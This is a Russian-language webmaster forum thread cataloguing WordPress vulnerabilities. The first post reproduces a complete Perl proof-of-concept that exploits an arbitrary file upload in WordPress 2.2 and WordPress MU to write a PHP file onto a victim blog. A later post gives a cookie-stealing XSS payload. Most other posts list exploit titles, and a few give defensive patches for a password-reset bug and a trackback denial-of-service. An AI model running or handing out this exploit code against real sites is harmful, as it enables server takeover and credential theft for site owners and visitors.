Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor


[ Уязвимости Wordpress ]


  • Авторизуйтесь для ответа в теме
Сообщений в теме: 23

#1
aka PSIH

aka PSIH

    ~~~

  • Extended
  • PipPip
  • 238 сообщений
Wordpress 2.2 and Wordpress MU <= 1.2.2 Arbitrary File Upload PoC

Credits : Alexander Concha <alex at buayacorp dot com>
Website : http://www.buayacorp.com/
Advisory: http://www.buayacorp...s-advisory.html

#! /usr/bin/env perl

# Wordpress 2.2 and Wordpress MU <= 1.2.2 Arbitrary File Upload PoC
#
# Credits : Alexander Concha <alex at buayacorp dot com>
# Website : http://www.buayacorp.com/
# Advisory: http://www.buayacorp.com/files/wordpress/wordpress-advisory.html

use Digest::MD5 qw(md5_hex);
use LWP::UserAgent;

my $ua = new LWP::UserAgent;
my $blog		= $ARGV[0];
my $user		= $ARGV[1];
my $pass		= $ARGV[2];
my $remote_file = $ARGV[3];
my $local_file  = $ARGV[4];
my $post_id	 = $ARGV[5];

if (@ARGV < 4) {
	   print "\nUsage:\n";
	   print " wp-file-upload.pl <host> <username> <password> <remote_filename> [local_file] [post_id]\n\n";
	   print " <host>		- full path to WordPress. http://victim.com/wordpress/\n";
	   print " <username>	- valid username with any of these roles: author, editor, administrator\n";
	   print " <password>	- valid password for the user\n";
	   print " <remote_file> - full path to the remote file. /home/vulnerable.com/wordpress/wp-content/uploads/foo.php\n";
	   print " [local_file]  - file to upload\n";
	   print " [post_id]	 - every time this script is executed creates a new post, specify a post_ID if you already run it\n\n";
	   exit();
}
$ua->requests_redirectable([]);
$blog =~ s/\/*$/\//;

$url = 'wp-app.php';
if ( 200 != $ua->head($url . '?action=/service')->code ) {
	   $url = 'app.php';
	   die "\nIt seems that this WP installation is not vulnerable: app.php and wp-app.php were not found.\n"
			   unless 200 == $ua->head($url . '?action=/service')->code;
}

$auth_cookie = get_auth_cookie();

sub LWP::UserAgent::simple_request {
	   my($self, $request, $arg, $size) = @_;
	   $request->header('Cookie' => $auth_cookie);
	   $request->content_type('image/gif') if $request->method eq "PUT";
	   $request->uri($blog . $request->uri);

	   $self->_request_sanity_check($request);
	   my $new_request = $self->prepare_request($request);
	   $response = $self->send_request($new_request, $arg, $size);

	   print $request->method . " " . $request->uri . " " . $response->code . "\n";

	   return $response;
}

sub get_contents {
	   $file = shift;
	   if ( -e $file ) {
			   open FILE, $file or die("Invalid local file");
			   $file = join('', <FILE>);
			   close FILE;
	   } else {
			   $file = <<PHP;
<?php echo "Hello World!"; ?>
PHP
	   }
	   return $file;
}
sub get_auth_cookie {
	   $response = $ua->head('wp-login.php?logout');
	   if ( $response->headers->header('Set-Cookie') =~ m/wordpress(user|pass)(.*?)=/ ) {
					   return "wordpressuser$2=$user;wordpresspass$2=".md5_hex(md5_hex($pass));
	   }
	   return '';
}
if (0 == $post_id) {
	   $response = $ua->get('wp-admin/post-new.php');
	   die ("\nInvalid credentials or blog url.\n\n" . $response->as_string) unless 200 == $response->code;

	   if ( $response->content =~ m/name=._wpnonce. value=.([a-z\d]{10})./ ) {
			   $response = $ua->post('wp-admin/post.php', [
					   '_wpnonce' => $1,
					   'action' => 'post',
					   'post_ID' => $post_id,
					   'post_type' => 'post',
					   'post_title' => 'foo',
					   'metakeyselect' => '#NONE#',
					   'metakeyinput' => '_wp_attached_file',
					   'metavalue' => $remote_file
					   ], 'Cookie' => $auth_cookie);

			   # Checks for post-new.php?posted=post_ID
			   if ( $response->headers->header('Location') =~ m/posted=(\d+)/ ) {
					   $post_id = $1;
			   }
	   }
}
die "\nCould not get a valid post_id value.\n" unless 0 != $post_id;

$request = HTTP::Request->new(PUT => $url . '?action=/attachment/file/'.$post_id);
$request->content(get_contents($local_file));
$response = $ua->request($request);

if ( 200 == $response->code ) {
	   print "\nIt seems that the file has been posted successfully... :P\n";
	   print "Use the following value to update the remote file: post_id '$post_id'\n";
} else {
	   print "\nError: there is no attachment metadata for post_id=$post_id\n\n" . $response->as_string() . "\n";
}

Everything that was made by human is possible to crack => ideal protection does not exist
*********
icq:162295
*********

#2
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
Wordpress MU < 2.7 'HOST' HTTP Header XSS Vulnerability

Ссылки из под хайдов не выдаю!


#3
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
Wordpress Plugin fMoblog 2.1 (id) SQL Injection Vulnerability

Ссылки из под хайдов не выдаю!


#4
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
Wordpress Plugin Lytebox (wp-lytebox) Local File Inclusion Vulnerability

Ссылки из под хайдов не выдаю!


#5
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
WordPress Plugin FireStats <= 1.6.1(fs_javascript) RFI Vulnerability

Ссылки из под хайдов не выдаю!


#6
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
WordPress Plugin Photoracer 1.0 (id) SQL Injection Vulnerability

Ссылки из под хайдов не выдаю!


#7
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
WordPress Plugin DM Albums 1.9.2 Remote File Disclosure Vulnerability

WordPress Plugin Related Sites 2.1 Blind SQL Injection Vulnerability

Ссылки из под хайдов не выдаю!


#8
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
WordPress Privileges Unchecked in admin.php and Multiple Information

Ссылки из под хайдов не выдаю!


#9
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
WordPress Plugin My Category Order <= 2.8 SQL Injection Vulnerability

Ссылки из под хайдов не выдаю!


#10
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
Wordpress 2.8.1 (url) Remote Cross Site Scripting Exploit
Свежая уязвимость в популярном движке для ведения блогов. причем в новой версии!

Ссылки из под хайдов не выдаю!


#11
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
Wordpress <= 2.8.3 Remote Admin Reset Password Vulnerability
Опять дырка в популярном блого-движке :( На этот раз в недавно вышедшей версии, Выкладываю эксплойт для Wordpress 2.8.3

Ссылки из под хайдов не выдаю!


#12
$iD

$iD

    Админ

  • root
  • PipPipPipPipPipPip
  • 3785 сообщений
Вот исправление вчерашней баги:
wp_login.php
Находим:
if ( empty( $key ) ) 
			return new WP_Error('invalid_key', __('Invalid key'));
Заменяем на:
if ( empty( $key ) || is_array( $key ) )
		return new WP_Error('invalid_key', __('Invalid key'));
Кстати ### забыл сказать что эта бага всего лишь сбрасывает пароль админа, т.е. захватить ресурс у вас не получится ;)

#13
Pernat1y

Pernat1y

    Байт

  • Members
  • Pip
  • 146 сообщений
оперативно )
Доступен WordPress 2.8.4! Пожалуйста, обновитесь.

#14
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
Wordpress Plugin WP-Syntax <= 0.9.1 Remote Command Execution PoC

Ссылки из под хайдов не выдаю!


#15
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
Wordpress Plugin WP-Syntax <= 0.9.1 Remote Command Execution

Ссылки из под хайдов не выдаю!


#16
$iD

$iD

    Админ

  • root
  • PipPipPipPipPipPip
  • 3785 сообщений
Уязвимость Wordpress — возможна DOS атака
Свежая уязвимость в Wordpress которая позволяет провести DOS атаку на блог жертвы используя файл wp-trackback.php

Для исправления этой уязвимости необходимо добавить следующий код в файл functions.php, который находится в папке шаблона блога:

function ft_stop_trackback_dos_attacks(){
global $pagenow;
if ( 'wp-trackback.php' == $pagenow ){
// DoS attack fix.
if ( isset($_POST['charset']) ){
$charset = $_POST['charset'];
if ( strlen($charset) > 50 ) { die; }
}
}
}
add_action('init','ft_stop_trackback_dos_attacks');
Если у вас нет возможности или знаний, для того, чтобы прописать данный код в вашем блоге, скачайте и установите плагин который исправляет эту уязвимость.

Эксплоит уязвимости: http://jarraltech.co...dpress-exploit/
Источник: http://blogproblog.c...ack_dos_attack/

#17
major

major

    Бит

  • Members
  • 4 сообщений
Уязвимость одного из плагинов, через которую можно ставить ссылки как на морду, так и вообще сквозные, кто-то слыхал?
Чтобы что-то делать, недостаточно знать, как это делать; чтобы что-то делать, надо это делать. / И. В. Гёте

#18
$iD

$iD

    Админ

  • root
  • PipPipPipPipPipPip
  • 3785 сообщений
major
такие уязвимости обычно стоят денюжок, а особенно на новые версии вордпресса!

#19
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
WordPress <= 2.9.2 XSS Vulnerability
@Exploit: "><script>alert(document.cookie)</script>

@Demo (You have to be the admin): You put the Exploit (XSS) into tag form and press ENTER

Ссылки из под хайдов не выдаю!


#20
alexandrweb

alexandrweb

    Бит

  • Members
  • 10 сообщений
Не думал, что у wp есть уязвимости, она же обновляется часто.

#21
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
поэтому и обновляется часто.

Ссылки из под хайдов не выдаю!


#22
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
Wordpress 3.0.1(Post Tag) XSS Vulnerability

Ссылки из под хайдов не выдаю!


#23
###

###

    Экзабайт

  • Advanced
  • PipPipPipPipPipPip
  • 1743 сообщений
Wordpress 3.0.1 - Remote Denial Of Service Exploit
http://inj3ct0r.com/exploits/14049

Ссылки из под хайдов не выдаю!


#24
$iD

$iD

    Админ

  • root
  • PipPipPipPipPipPip
  • 3785 сообщений
Wordpress 3.3.1 Multiple CSRF Vulnerabilities


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных